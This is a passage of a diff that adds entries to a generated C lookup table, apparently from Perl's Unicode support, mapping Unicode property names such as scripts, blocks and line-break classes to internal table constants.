+ { 1, 8572, 1083, 3, 2, PL_LB__LF } /* wb=lf */,
+ { 2, 7459, 7208, 3, 4, PL_SC__HIRA } /* sc=hira */,
+ { 34, 7459, 8480, 3, 4, PL_SC__QAAI } /* sc=qaai */,
+ { 3, 6890, 849, 4, 14, PL_PUA } /* blk=privateusearea */,
+ { 65, 7136, 78, 6, 10, PL_ARABICMATH } /* block=arabicmath */,
+ { 1, 8340, 5505, 3, 13, PL_JG__MANICHAEANTEN } /* jg=manichaeanten */,
+ { 16, 1503, 1002, 3, 26, PL_ENCLOSEDCJK } /* inenclosedcjklettersandmonths */,
+ { 13, 974, 8691, 24, 2, PL_CCC__28 } /* canonicalcombiningclass=28 */,
+ { 0, 1184, 7768, 25, 6, -PL_DI } /* defaultignorablecodepoint=false */,
+ { 6, 8504, 1083, 3, 2, PL_LB__LF } /* sb=lf */,
+ { 3, 8777, 3581, 3, 2, PL_CWL } /* cwl=t */,
+ { 1, 2134, 0, 3, 0, PL_XPOSIXXDIGIT } /* hex */,
+ { 8, 3129, 8412, 17, 4, PL_MTEI } /* scriptextensions=mtei */,
+ { 6, 8196, 8873, 4, 3, PL_AGE__6 } /* age=v60 */,
+ { 0, 184, 43, 3, 2, PL_CJK } /* iscjk */,
+ { 0, 8096, 8116, 4, 5, PL_TAML } /* scx=tamil */,
+ { 0, 3946, 7951, 16, 5, PL_STERM } /* sentenceterminal=true */,
+ { 0, 7136, 7653, 6, 7, PL_INTIBETAN } /* block=tibetan */,
+ { 0, 2841, 0, 4, 0, PL_COPT } /* copt */,
+ { 8, 4284, 4584, 14, 15, PL_LB__H2 } /* hangulsyllabletype=lvsyllable */,
+ { 0, 1402, 2349, 24, 3, PL_INPC__TOP } /* indicpositionalcategory=top */,
+ { 1, 2859, 5488, 18, 4, PL_DT__NONE } /* decompositiontype=none */,
+ { 0, 184, 47, 2, 1, PL_M } /* ism */,
+ { 0, 6890, 2949, 4, 18, PL_INPUNCTUATION } /* blk=generalpunctuation */,
+ { 0, 6890, 954, 4, 5, PL_INGREEK } /* blk=greek */,
+ { 0, 974, 2777, 24, 10, PL_CCC__AR } /* canonicalcombiningclass=aboveright */,
+ { 17, 7288, 6439, 7, 4, PL_SC__SYLO } /* script=sylo */,
+ { 0, 4542, 1813, 3, 21, PL_TRANSPORTANDMAP } /* istransportandmapsymbols */,
+ { 36, 7380, 8643, 4, 2, PL_CCC__22 } /* ccc=22 */,
+ { 65, 8016, 8935, 4, 2, PL_GCB__XX } /* gcb=xx */,
+ { 323, 6890, 2787, 4, 8, PL_INCHEROKEE } /* blk=cherokee */,
+ { 0, 5544, 7756, 13, 5, PL_NV__90000 } /* numericvalue=90000 */,
+ { 24, 6706, 8708, 10, 3, PL_IN__3 } /* presentin=3.0 */,
+ { 0, 5134, 7503, 3, 3, PL_PHLI } /* isphli */,
+ { 0, 3271, 0, 17, 0, PL_UCAS } /* canadiansyllabics */,
+ { 128, 4554, 1074, 14, 2, PL_SB__ST } /* sentencebreak=st */,
+ { 1, 8240, 8792, 3, 3, PL_BC__FSI } /* bc=fsi */,
+ { 206, 4198, 1545, 4, 13, PL_GEOMETRICSHAPES } /* ingeometricshapes */,
+ { 0, 5645, 8792, 10, 3, PL_BC__FSI } /* bidiclass=fsi */,
+ { 384, 7288, 7870, 7, 6, PL_LEPC } /* script=lepcha */,
+ { 35, 1448, 2743, 5, 7, PL_SUPARROWSC } /* insuparrowsc */,
+ { 0, 8096, 8452, 4, 4, PL_ORYA } /* scx=orya */,
+ { 0, 1426, 2209, 22, 20, PL_INSC__CONSONANTWITHSTACKER } /* indicsyllabiccategory=consonantwithstacker */,
+ { 0, 8096, 2107, 4, 7, PL_SINH } /* scx=sinhala */,
+ { 109, 7136, 42, 6, 9, PL_CJKCOMPAT } /* block=cjkcompat */,
+ { 2, 6890, 6406, 4, 11, PL_INSORASOMPENG } /* blk=sorasompeng */,
+ { 1, 8816, 5219, 3, 9, PL_NV__100000000 } /* nv=100000000 */,
+ { 0, 720, 0, 16, 0, PL_ENCLOSEDALPHANUM } /* enclosedalphanum */,
+ { 1, 11, 0, 2, 0, PL_DI } /* di */,
+ { 1, 58, 7997, 4, 4, PL_IDEO } /* ideo=yes */,
+ { 16, 7459, 690, 3, 9, PL_XSUX } /* sc=cuneiform */,
+ { 1, 1701, 7997, 2, 4, PL_SD } /* sd=yes */,
+ { 0, 7288, 8260, 7, 4, PL_SC__CAKM } /* script=cakm */,
+ { 7, 184, 3754, 2, 7, PL_LINB } /* islinearb */,
+ { 0, 184, 2895, 2, 4, PL_ETHI } /* isethi */,
+ { 0, 2859, 8576, 18, 4, PL_EA__F } /* decompositiontype=wide */,
+ { 1, 6890, 5232, 4, 13, PL_AEGEANNUMBERS } /* blk=aegeannumbers */,
+ { 0, 7380, 3743, 4, 1, PL_CCC__1 } /* ccc=1 */,
+ { 0, 1417, 966, 9, 2, PL_NO } /* category=no */,
+ { 4, 7136, 6953, 6, 9, PL_LATINEXTD } /* block=latinextd */,
+ { 243, 1184, 3223, 25, 3, -PL_DI } /* defaultignorablecodepoint=no */,
+ { 0, 7478, 0, 3, 0, PL_S } /* iss */,
+ { 0, 184, 2636, 2, 19, PL_MONGOLIANSUP } /* ismongoliansupplement */,
+ { 0, 7527, 0, 7, 0, PL_MULT } /* multani */,
+ { 4, 21, 7876, 2, 6, PL_INLYCIAN } /* inlycian */,
+ { 3, 8096, 8111, 4, 4, PL_TAKR } /* scx=takr */,
+ { 0, 7344, 7951, 8, 5, PL_XIDS } /* xidstart=true */,
+ { 4, 7288, 7129, 8, 7, PL_BASS } /* script=bassavah */,
+ { 0, 2859, 68, 18, 3, PL_DT__SUP } /* decompositiontype=sup */,
+ { 74, 7696, 7997, 6, 4, PL_XPOSIXSPACE } /* wspace=yes */,
+ { 1, 8376, 6899, 3, 9, PL_LB__B2 } /* lb=breakboth */,
+ { 2, 2787, 0, 8, 0, PL_CHER } /* cherokee */,
+ { 85, 1746, 7160, 21, 8, PL_WB__EBG } /* graphemeclusterbreak=ebasegaz */,
+ { 1, 8096, 7145, 5, 7, PL_BUGI } /* scx=buginese */,
+ { 160, 7136, 5825, 6, 12, PL_MAHJONG } /* block=mahjongtiles */,
+ { 0, 18, 3581, 2, 2, PL_RI } /* ri=t */,
+ { 0, 1448, 2696, 5, 16, PL_SUPARROWSA } /* insupplementalarrowsa */,
+ { 0, 7136, 3738, 6, 9, PL_LATIN1 } /* block=latin1sup */,
+ { 105, 8816, 7738, 3, 5, PL_NV__60000 } /* nv=60000 */,
+ { 31, 8096, 7912, 4, 6, PL_TELU } /* scx=telugu */,
+ { 49, 3129, 2484, 17, 4, PL_EGYP } /* scriptextensions=egyp */,
+ { 100, 7478, 1794, 6, 18, PL_MODIFIERLETTERS } /* isspacingmodifierletters */,
+ { 18, 349, 0, 33, 0, PL_SUPMATHOPERATORS } /* supplementalmathematicaloperators */,
+ { 42, 8786, 4127, 3, 7, PL_EA__N } /* ea=neutral */,
+ { 71, 4063, 2879, 4, 16, PL_DEVANAGARIEXT } /* indevanagariextended */,
+ { 0, 8046, 0, 4, 0, PL_LIMB } /* limb */,
+ { 0, 7288, 7876, 7, 6, PL_LYCI } /* script=lycian */,
+ { 0, 4923, 3967, 4, 11, PL_MATHOPERATORS } /* inmathoperators */,
+ { 0, 8816, 7727, 3, 2, PL_NV__32 } /* nv=32 */,
+ { 0, 7618, 0, 7, 0, PL_SUPPUAA } /* suppuaa */,
+ { 3, 21, 1585, 2, 4, PL_JAMO } /* injamo */,
+ { 12, 8096, 8472, 4, 4, PL_PRTI } /* scx=prti */,
+ { 0, 7136, 1001, 6, 11, PL_ENCLOSEDCJK } /* block=enclosedcjk */,
+ { 1, 5375, 0, 12, 1, PL_JT__U } /* joiningtype=u */,
+ { 1, 5134, 7584, 3, 6, PL_PHAG } /* isphagspa */,
+ { 106, 2895, 0, 18, 0, PL_ETHIOPICSUP } /* ethiopicsupplement */,
+ { 0, 3441, 0, 17, 0, PL_LETTERLIKESYMBOLS } /* letterlikesymbols */,
+ { 0, 7380, 8645, 4, 3, PL_CCC__129 } /* ccc=129 */,
+ { 0, 7696, 7951, 6, 5, PL_XPOSIXSPACE } /* wspace=true */,
+ { 0, 8376, 3526, 3, 17, PL_RI } /* lb=regionalindicator */,
+ { 128, 3129, 8252, 17, 4, PL_BUHD } /* scriptextensions=buhd */,
+ { 2, 7136, 7296, 6, 8, PL_SPECIALS } /* block=specials */,
+ { 0, 8376, 5763, 3, 2, PL_LB__WJ } /* lb=wj */,
+ { 2, 7459, 6696, 3, 10, PL_PHNX } /* sc=phoenician */,
+ { 0, 6713, 8708, 3, 3, PL_IN__3 } /* in=3.0 */,
+ { 0, 4827, 0, 14, 0, PL_KANGXI } /* kangxiradicals */,
+ { 49, 8816, 8744, 3, 3, PL_NV__5_SLASH_8 } /* nv=5/8 */,
+ { 0, 7136, 6786, 6, 10, PL_SUPARROWSC } /* block=suparrowsc */,
+ { 129, 2859, 1224, 18, 3, PL_DT__SUB } /* decompositiontype=sub */,
+ { 0, 8096, 2249, 4, 4, PL_GLAG } /* scx=glag */,
+ { 0, 1746, 7165, 21, 3, PL_WB__GAZ } /* graphemeclusterbreak=gaz */,
+ { 0, 2023, 3223, 21, 3, -PL_LOE } /* logicalorderexception=no */,
+ { 102, 3129, 7569, 17, 7, PL_OSMA } /* scriptextensions=osmanya */,
+ { 12, 1012, 0, 6, 0, PL_L } /* letter */,
+ { 0, 7478, 47, 3, 1, PL_SM } /* issm */,
+ { 15, 6890, 802, 4, 6, PL_ARROWS } /* blk=arrows */,
+ { 219, 2895, 0, 11, 0, PL_ETHIOPICSUP } /* ethiopicsup */,
+ { 0, 8096, 7786, 4, 6, PL_CAKM } /* scx=chakma */,
+ { 3, 6890, 2465, 4, 11, PL_COUNTINGROD } /* blk=countingrod */,
+ { 1, 8036, 3, 5, 31, PL_UCAS } /* isunifiedcanadianaboriginalsyllabics */,
+ { 0, 7689, 7360, 3, 6, PL_AVST } /* isavestan */,
+ { 1, 974, 7941, 24, 2, PL_CCC__11 } /* canonicalcombiningclass=11 */,
+ { 0, 8572, 7160, 3, 8, PL_WB__EBG } /* wb=ebasegaz */,
+ { 1, 7136, 6989, 6, 9, PL_INNEWTAILUE } /* block=newtailue */,
+ { 33, 8504, 24, 4, 1, PL_SB__CL } /* sb=cl */,
+ { 1, 6890, 7527, 4, 7, PL_INMULTANI } /* blk=multani */,
+ { 1, 6263, 6175, 10, 11, PL_LB__EX } /* linebreak=exclamation */,
+ { 0, 8096, 494, 4, 3, PL_HAN } /* scx=han */,
+ { 0, 6713, 8738, 3, 3, PL_IN__5_DOT_2 } /* in=5.2 */,
+ { 217, 6616, 7768, 10, 2, -PL_DEP } /* deprecated=f */,
+ { 1, 6890, 8061, 4, 5, PL_INOGHAM } /* blk=ogham */,
+ { 44, 184, 511, 3, 29, PL_CJKEXTA } /* iscjkunifiedideographsextensiona */,
+ { 7, 7380, 8684, 4, 3, PL_CCC__L } /* ccc=224 */,
+ { 257, 7436, 0, 4, 0, PL_ELBA } /* elba */,
+ { 28, 7459, 8568, 3, 3, PL_VAI } /* sc=vai */,
+ { 0, 5645, 5413, 10, 3, PL_BC__RLO } /* bidiclass=rlo */,
+ { 0, 7288, 8428, 7, 4, PL_NEWA } /* script=newa */,
+ { 0, 2221, 3145, 3, 2, PL_GCB__V } /* hst=v */,
+ { 432, 6890, 1812, 4, 15, PL_TRANSPORTANDMAP } /* blk=transportandmap */,
+ { 0, 7288, 8208, 7, 4, PL_AHOM } /* script=ahom */,
+ { 0, 3129, 8066, 17, 5, PL_ORYA } /* scriptextensions=oriya */,
+ { 0, 184, 6935, 2, 9, PL_LATINEXTB } /* islatinextb */,
+ { 2, 6890, 1585, 4, 4, PL_JAMO } /* blk=jamo */,
+ { 0, 8096, 4644, 4, 15, PL_ZANB } /* scx=zanabazarsquare */,
+ { 1, 5192, 7346, 3, 6, PL_IDS } /* isidstart */,
+ { 1, 3373, 9, 15, 2, PL_EA__NA } /* eastasianwidth=na */,
+ { 6, 7380, 8654, 4, 3, PL_CCC__133 } /* ccc=133 */,
+ { 0, 7459, 1797, 3, 4, PL_SC__MODI } /* sc=modi */,
+ { 133, 3129, 7681, 17, 7, PL_ZZZZ } /* scriptextensions=unknown */,
+ { 9, 184, 4134, 2, 4, PL_BRAI } /* isbrai */,
+ { 264, 6890, 1282, 4, 10, PL_CJKSYMBOLS } /* blk=cjksymbols */,
+ { 33, 1426, 4058, 22, 5, PL_INSC__VOWEL } /* indicsyllabiccategory=vowel */,
+ { 21, 184, 5253, 2, 5, PL_XPOSIXDIGIT } /* isdigit */,
+ { 18, 184, 6646, 2, 10, PL_MISCARROWS } /* ismiscarrows */,
+ { 58, 7136, 5260, 8, 11, PL_BLOCKELEMENTS } /* block=blockelements */,
+ { 8, 2750, 3581, 4, 2, PL_TERM } /* term=t */,
+ { 7, 7136, 7520, 6, 7, PL_INMARCHEN } /* block=marchen */,
+ { 1, 7136, 1702, 6, 22, PL_DIACRITICALSFORSYMBOLS } /* block=diacriticalsforsymbols */,
+ { 0, 6890, 7520, 4, 7, PL_INMARCHEN } /* blk=marchen */,
+ { 0, 6616, 3581, 10, 2, PL_DEP } /* deprecated=t */,
+ { 0, 7828, 0, 6, 0, PL_HYPHEN } /* hyphen */,
+ { 0, 8822, 7997, 3, 2, PL_PCM } /* pcm=y */,
+ { 1, 6554, 7129, 3, 7, PL_INBASSAVAH } /* inbassavah */,
+ { 33, 3129, 6917, 17, 9, PL_QAAI } /* scriptextensions=inherited */,
+ { 0, 8504, 723, 4, 4, PL_SB__CL } /* sb=close */,
+ { 258, 1417, 698, 9, 2, PL_MN } /* category=mn */,
+ { 4, 6109, 8002, 10, 4, PL_XPOSIXCNTRL } /* category=cntrl */,
+ { 1, 6890, 892, 4, 28, PL_VSSUP } /* blk=variationselectorssupplement */,
+ { 1, 7457, 2823, 5, 18, PL_INSC__CONSONANTSUBJOINED } /* insc=consonantsubjoined */,
+ { 0, 8816, 8180, 3, 4, PL_NV__3_SLASH_80 } /* nv=3/80 */,
+ { 50, 6626, 0, 4, 0, PL_KHAR } /* khar */,
+ { 0, 3129, 7506, 17, 7, PL_LINA } /* scriptextensions=lineara */,
+ { 0, 2985, 3581, 3, 2, PL_IDS } /* ids=t */,
+ { 0, 7380, 8693, 4, 3, PL_CCC__A } /* ccc=230 */,
+ { 7, 8816, 7702, 3, 4, PL_NV__2000 } /* nv=2000 */,
+ { 2, 6472, 0, 4, 0, PL_XPOSIXWORD } /* word */,
+ { 0, 184, 8364, 2, 4, PL_LANA } /* islana */,
+ { 0, 7288, 7681, 7, 7, PL_ZZZZ } /* script=unknown */,
+ { 1, 7459, 8440, 3, 4, PL_OGAM } /* sc=ogam */,
+ { 11, 5645, 3223, 5, 2, -PL_BIDIC } /* bidic=n */,
+ { 1, 7471, 62, 7, 5, PL_POSIXGRAPH } /* isposixgraph */,
+ { 0, 6483, 7997, 4, 2, PL_XIDC } /* xidc=y */,
+ { 7, 184, 750, 2, 29, PL_ENCLOSEDIDEOGRAPHICSUP } /* isenclosedideographicsupplement */,
+ { 0, 2990, 29, 4, 4, PL_INARABIC } /* inarabic */,
+ { 56, 1448, 867, 5, 25, PL_SUPPUAB } /* insupplementaryprivateuseareab */,
+ { 10, 184, 1283, 3, 23, PL_CJKSYMBOLS } /* iscjksymbolsandpunctuation */,
+ { 2, 7288, 7527, 7, 7, PL_SC__MULT } /* script=multani */,
+ { 2, 6472, 138, 10, 2, PL_WB__FO } /* wordbreak=fo */,
+ { 7, 7288, 6926, 7, 9, PL_SC__SIND } /* script=khudawadi */,
+ { 128, 6263, 42, 10, 2, PL_LB__CJ } /* linebreak=cj */,
+ { 37, 11, 7997, 3, 2, PL_DIA } /* dia=y */,
+ { 2, 4314, 4953, 13, 14, PL_JG__MANICHAEANHETH } /* joininggroup=manichaeanheth */,
+ { 2, 8096, 7208, 4, 4, PL_HIRA } /* scx=hira */,
+ { 6, 3129, 7120, 17, 8, PL_BALI } /* scriptextensions=balinese */,
+ { 1, 7227, 468, 5, 5, PL_POSIXPUNCT } /* posixpunct */,
+ { 3, 184, 2877, 2, 4, PL_DEVA } /* isdeva */,
+ { 27, 7136, 1939, 6, 21, PL_CJKCOMPATFORMS } /* block=cjkcompatibilityforms */,
+ { 0, 8332, 7592, 4, 5, PL_INSHARADA } /* insharada */,
+ { 2, 6626, 0, 10, 0, PL_KHAR } /* kharoshthi */,
+ { 0, 8096, 6736, 4, 4, PL_SAUR } /* scx=saur */,
+ { 1, 7288, 8404, 7, 4, PL_SC__MLYM } /* script=mlym */,
+ { 0, 1897, 3581, 21, 2, PL_CWT } /* changeswhentitlecased=t */,
+ { 1, 5645, 3223, 5, 3, -PL_BIDIC } /* bidic=no */,
+ { 1, 8376, 23, 3, 2, PL_LB__AL } /* lb=al */,
+ { 0, 1918, 3223, 21, 2, -PL_CWU } /* changeswhenuppercased=n */,
+ { 1, 3129, 7366, 17, 4, PL_BENG } /* scriptextensions=beng */,
+ { 12, 2229, 3854, 16, 10, PL_SM } /* generalcategory=mathsymbol */,
+ { 0, 21, 3754, 2, 16, PL_LINEARBIDEOGRAMS } /* inlinearbideograms */,
+ { 8, 6221, 2843, 4, 16, PL_COPTICEPACTNUMBERS } /* incopticepactnumbers */,
+ { 38, 8026, 2355, 5, 14, PL_INPC__BOTTOMANDRIGHT } /* inpc=bottomandright */,
+ { 1, 7971, 0, 5, 0, PL_BATK } /* batak */,
+ { 89, 8816, 8740, 3, 2, PL_NV__25 } /* nv=25 */,
+ { 0, 7288, 2269, 7, 20, PL_PHLI } /* script=inscriptionalpahlavi */,
+ { 0, 6210, 1961, 3, 13, PL_CJKRADICALSSUP } /* incjkradicalssup */,
+ { 0, 7288, 8066, 7, 5, PL_SC__ORYA } /* script=oriya */,
+ { 72, 7136, 7822, 6, 6, PL_INHATRAN } /* block=hatran */,
+ { 2, 7288, 7248, 7, 8, PL_SC__JAVA } /* script=javanese */,
+ { 98, 7380, 8164, 7, 2, PL_CCC__15 } /* ccc=ccc15 */,
+ { 2, 6890, 3882, 4, 7, PL_INMYANMAR } /* blk=myanmar */,
+ { 27, 1426, 7924, 22, 6, PL_INSC__VIRAMA } /* indicsyllabiccategory=virama */,
+ { 6, 184, 62, 2, 5, PL_XPOSIXGRAPH } /* isgraph */,
+ { 0, 1960, 0, 14, 0, PL_CJKRADICALSSUP } /* cjkradicalssup */,
+ { 322, 4813, 0, 14, 0, PL_KANASUP } /* kanasupplement */,
+ { 4, 6263, 8935, 10, 2, PL_LB__XX } /* linebreak=xx */,
+ { 0, 6890, 7499, 4, 7, PL_KALI } /* blk=kayahli */,
+ { 1, 5051, 7996, 5, 3, PL_DT__NONE } /* nfkdqc=y */,
+ { 0, 974, 8654, 24, 3, PL_CCC__133 } /* canonicalcombiningclass=133 */,
+ { 594, 7478, 6737, 3, 3, PL_SAUR } /* issaur */,
+ { 0, 6713, 8723, 3, 3, PL_IN__4 } /* in=4.0 */,
+ { 1, 7380, 8642, 7, 3, PL_CCC__122 } /* ccc=ccc122 */,
+ { 2, 6826, 0, 10, 0, PL_YIRADICALS } /* yiradicals */,
+ { 4, 7459, 8568, 3, 4, PL_VAI } /* sc=vaii */,
+ { 0, 8106, 0, 5, 0, PL_TALE } /* taile */,
+ { 2, 7136, 7646, 6, 7, PL_INTAIVIET } /* block=taiviet */,
+ { 109, 1417, 1027, 9, 2, PL_SO } /* category=so */,
+ { 5, 2229, 7, 17, 1, PL_L_AMP_ } /* generalcategory=lc */,
+ { 1, 7136, 7555, 6, 7, PL_OLCK } /* block=olchiki */,
+ { 6, 4314, 5518, 13, 13, PL_JG__MANICHAEANWAW } /* joininggroup=manichaeanwaw */,
+ { 0, 3129, 5825, 17, 4, PL_MAHJ } /* scriptextensions=mahj */,
+ { 521, 4590, 7951, 2, 5, PL_VS } /* vs=true */,
+ { 3, 699, 0, 6, 0, PL_N } /* number */,
+ { 0, 8016, 852, 4, 1, PL_GCB__V } /* gcb=v */,
+ { 0, 3521, 3223, 5, 2, -PL_XPOSIXSPACE } /* space=n */,
+ { 3, 2985, 3223, 18, 2, -PL_IDST } /* idstrinaryoperator=n */,
+ { 1, 8786, 6845, 3, 9, PL_EA__A } /* ea=ambiguous */,
+ { 0, 3129, 1160, 17, 4, PL_HANG } /* scriptextensions=hang */,
+ { 77, 7459, 6919, 5, 7, PL_SC__QAAI } /* sc=inherited */,
+ { 0, 1897, 7768, 21, 2, -PL_CWT } /* changeswhentitlecased=f */,
+ { 124, 6613, 2542, 3, 9, PL_JAMO } /* ishanguljamo */,
+ { 2, 8798, 7997, 3, 4, PL_LOE } /* loe=yes */,
+ { 0, 974, 8636, 27, 3, PL_CCC__107 } /* canonicalcombiningclass=ccc107 */,
+ { 258, 3129, 8472, 17, 4, PL_PRTI } /* scriptextensions=prti */,
+ { 226, 8016, 295, 4, 2, PL_GCB__SM } /* gcb=sm */,
+ { 66, 4239, 7768, 4, 6, -PL_DASH } /* dash=false */,
+ { 1, 8816, 8624, 3, 3, PL_NV__1_SLASH_7 } /* nv=1/7 */,
+ { 128, 4314, 2427, 13, 19, PL_JG__BURUSHASKIYEHBARREE } /* joininggroup=burushaskiyehbarree */,
+ { 85, 1855, 7951, 21, 5, PL_CWCM } /* changeswhencasemapped=true */,
+ { 3, 1887, 3581, 9, 2, PL_XPOSIXLOWER } /* lowercase=t */,
+ { 30, 6706, 7710, 10, 1, PL_IN__6 } /* presentin=6 */,
+ { 0, 5645, 2329, 10, 20, PL_BC__RLE } /* bidiclass=righttoleftembedding */,
+ { 0, 5544, 8740, 13, 2, PL_NV__25 } /* numericvalue=25 */,
+ { 0, 8021, 7997, 5, 4, PL_GREXT } /* grext=yes */,
+ { 0, 8196, 8888, 4, 3, PL_AGE__8 } /* age=v80 */,
+ { 2, 8096, 7007, 4, 9, PL_ITAL } /* scx=olditalic */,
+ { 0, 8096, 8380, 4, 4, PL_LINA } /* scx=lina */,
+ { 20, 1184, 7997, 25, 2, PL_DI } /* defaultignorablecodepoint=y */,
+ { 2, 2990, 1260, 4, 22, PL_ARABICPFB } /* inarabicpresentationformsb */,
+ { 1, 7457, 2408, 5, 19, PL_INSC__BRAHMIJOININGNUMBER } /* insc=brahmijoiningnumber */,
+ { 256, 184, 2806, 3, 17, PL_HALFMARKS } /* iscombininghalfmarks */,
+ { 259, 6263, 3985, 10, 9, PL_LB__EM } /* linebreak=emodifier */,
+ { 408, 184, 3067, 2, 8, PL_DINGBATS } /* isdingbats */,
+ { 18, 7136, 5705, 6, 12, PL_CYRILLICEXTC } /* block=cyrillicextc */,
+ { 152, 6756, 0, 10, 0, PL_SD } /* softdotted */,
+ { 0, 2229, 74, 16, 2, PL_ME } /* generalcategory=me */,
+ { 16, 7288, 7016, 7, 9, PL_SC__PERM } /* script=oldpermic */,
+ { 384, 4554, 3914, 14, 5, PL_SB__XX } /* sentencebreak=other */,
+ { 2, 2859, 3003, 18, 4, PL_DT__INIT } /* decompositiontype=init */,
+ { 0, 6210, 7402, 3, 6, PL_CJKEXTC } /* incjkextc */,
+ { 283, 5583, 3223, 13, 2, -PL_QMARK } /* quotationmark=n */,
+ { 1, 974, 7714, 24, 2, PL_CCC__30 } /* canonicalcombiningclass=30 */,
+ { 152, 7459, 8308, 3, 4, PL_SC__GURU } /* sc=guru */,
+ { 58, 38, 0, 2, 0, PL_XPOSIXDIGIT } /* nd */,
+ { 92, 2229, 468, 16, 11, PL_P } /* generalcategory=punctuation */,
+ { 15, 7288, 7611, 7, 7, PL_SOYO } /* script=soyombo */,
+ { 78, 4590, 3223, 2, 2, -PL_VS } /* vs=n */,
+ { 0, 8096, 8232, 4, 4, PL_AVST } /* scx=avst */,
+ { 150, 3129, 6406, 17, 4, PL_SORA } /* scriptextensions=sora */,
+ { 30, 184, 4688, 3, 13, PL_CJKCOMPATFORMS } /* iscjkcompatforms */,
+ { 0, 8816, 8630, 3, 3, PL_NV__1_SLASH_9 } /* nv=1/9 */,
+ { 1, 6890, 750, 4, 29, PL_ENCLOSEDIDEOGRAPHICSUP } /* blk=enclosedideographicsupplement */,
+ { 2, 2229, 6362, 16, 11, PL_SO } /* generalcategory=othersymbol */,
+ { 32, 8364, 0, 4, 0, PL_LANA } /* lana */,
+ { 0, 2221, 3581, 3, 13, PL_GCB__T } /* hst=trailingjamo */,
+ { 49, 6472, 24, 11, 1, PL_WB__NL } /* wordbreak=nl */,
+ { 40, 513, 3581, 16, 2, PL_UIDEO } /* unifiedideograph=t */,
+ { 0, 6890, 3770, 4, 16, PL_LINEARBSYLLABARY } /* blk=linearbsyllabary */,
+ { 2, 2990, 3596, 4, 7, PL_ARABICSUP } /* inarabicsup */,
+ { 8, 3946, 3223, 16, 2, -PL_STERM } /* sentenceterminal=n */,
+ { 2, 21, 5801, 2, 5, PL_INKHMER } /* inkhmer */,
+ { 1, 2859, 2100, 18, 3, PL_DT__ISO } /* decompositiontype=iso */,
+ { 0, 18, 7997, 2, 4, PL_RI } /* ri=yes */,
+ { 2, 8376, 929, 3, 2, PL_LB__CP } /* lb=cp */,
+ { 0, 7459, 8324, 3, 4, PL_HMNG } /* sc=hmng */,
+ { 1, 6263, 5583, 10, 9, PL_LB__QU } /* linebreak=quotation */,
+ { 21, 7288, 7876, 7, 4, PL_LYCI } /* script=lyci */,
+ { 0, 4314, 7079, 13, 9, PL_JG__SYRIACWAW } /* joininggroup=syriacwaw */,
+ { 0, 513, 7768, 16, 2, -PL_UIDEO } /* unifiedideograph=f */,
+ { 0, 7394, 0, 7, 0, PL_CJKEXTB } /* cjkextb */,
+ { 0, 7471, 1887, 7, 5, PL_POSIXLOWER } /* isposixlower */,
+ { 2, 7611, 0, 7, 0, PL_SOYO } /* soyombo */,
+ { 0, 184, 2967, 2, 18, PL_GEORGIANSUP } /* isgeorgiansupplement */,
+ { 1, 8822, 7951, 3, 5, PL_PCM } /* pcm=true */,
+ { 65, 3390, 0, 16, 0, PL_ETHIOPICEXT } /* ethiopicextended */,
+ { 0, 8096, 4105, 5, 4, PL_BAMU } /* scx=bamum */,
+ { 0, 184, 6472, 2, 4, PL_XPOSIXWORD } /* isword */,
+ { 0, 7136, 8071, 6, 5, PL_INOSAGE } /* block=osage */,
+ { 16, 6890, 1981, 4, 8, PL_INCYRILLIC } /* blk=cyrillic */,
+ { 67, 2229, 849, 16, 10, PL_CO } /* generalcategory=privateuse */,
+ { 46, 6953, 0, 9, 0, PL_LATINEXTD } /* latinextd */,
+ { 35, 21, 6505, 2, 11, PL_YISYLLABLES } /* inyisyllables */,
+ { 0, 8340, 5909, 3, 12, PL_JG__MALAYALAMTTA } /* jg=malayalamtta */,
+ { 0, 3129, 7858, 17, 6, PL_KHOJ } /* scriptextensions=khojki */,
+ { 32, 6210, 2788, 3, 17, PL_CHEROKEESUP } /* incherokeesupplement */,
+ { 0, 1929, 0, 5, 0, PL_XPOSIXUPPER } /* upper */,
+ { 0, 6890, 7200, 4, 8, PL_INGURMUKHI } /* blk=gurmukhi */,
+ { 0, 8096, 7956, 4, 5, PL_ADLM } /* scx=adlam */,
+ { 0, 8340, 8592, 3, 4, PL_JG__ZAIN } /* jg=zain */,
+ { 0, 8544, 0, 4, 0, PL_TAVT } /* tavt */,
+ { 41, 4402, 6319, 3, 10, PL_MYANMAREXTB } /* inmyanmarextb */,
+ { 1, 3129, 8296, 17, 4, PL_GONM } /* scriptextensions=gonm */,
+ { 5, 21, 4869, 2, 14, PL_LATINEXTD } /* inlatinextendedd */,
+ { 0, 7136, 250, 6, 33, PL_DIACRITICALSEXT } /* block=combiningdiacriticalmarksextended */,
+ { 1, 78, 0, 10, 0, PL_ARABICMATH } /* arabicmath */,
+ { 1, 1206, 4011, 3, 15, PL_TANGUTCOMPONENTS } /* intangutcomponents */,
+ { 1, 4440, 2251, 4, 8, PL_INGLAGOLITIC } /* inglagolitic */,
+ { 11, 184, 3266, 3, 2, PL_CWL } /* iscwl */,
+ { 8, 7822, 0, 4, 0, PL_HATR } /* hatr */,
+ { 5, 8240, 2329, 3, 20, PL_BC__RLE } /* bc=righttoleftembedding */,
+ { 180, 184, 8939, 2, 2, PL_ZP } /* iszp */,
+ { 0, 4402, 2046, 4, 9, PL_INMEETEIMAYEK } /* inmeeteimayek */,
+ { 3, 2754, 5612, 5, 9, PL_ALPHABETICPF } /* inalphabeticpf */,
+ { 0, 6890, 7016, 4, 9, PL_INOLDPERMIC } /* blk=oldpermic */,
+ { 0, 8816, 8720, 3, 3, PL_NV__3_SLASH_5 } /* nv=3/5 */,
+ { 39, 7136, 2967, 6, 11, PL_GEORGIANSUP } /* block=georgiansup */,
+ { 1, 8816, 7756, 3, 5, PL_NV__90000 } /* nv=90000 */,
+ { 20, 8816, 5220, 3, 1, PL_NV__0 } /* nv=0 */,
+ { 34, 7136, 382, 6, 33, PL_SUPSYMBOLSANDPICTOGRAPHS } /* block=supplementalsymbolsandpictographs */,
+ { 0, 7459, 8408, 3, 3, PL_MRO } /* sc=mro */,
+ { 10, 6472, 6971, 10, 9, PL_WB__MB } /* wordbreak=midnumlet */,
+ { 65, 6472, 3526, 10, 17, PL_RI } /* wordbreak=regionalindicator */,
+ { 322, 8026, 2349, 5, 20, PL_INPC__TOPANDBOTTOMANDRIGHT } /* inpc=topandbottomandright */,
+ { 7, 7296, 0, 8, 0, PL_SPECIALS } /* specials */,
+ { 1, 7136, 4494, 6, 15, PL_NARB } /* block=oldnortharabian */,
+ { 22, 8011, 5310, 3, 13, PL_XPOSIXDIGIT } /* gc=decimalnumber */,
+ { 1, 8096, 7900, 4, 6, PL_RJNG } /* scx=rejang */,
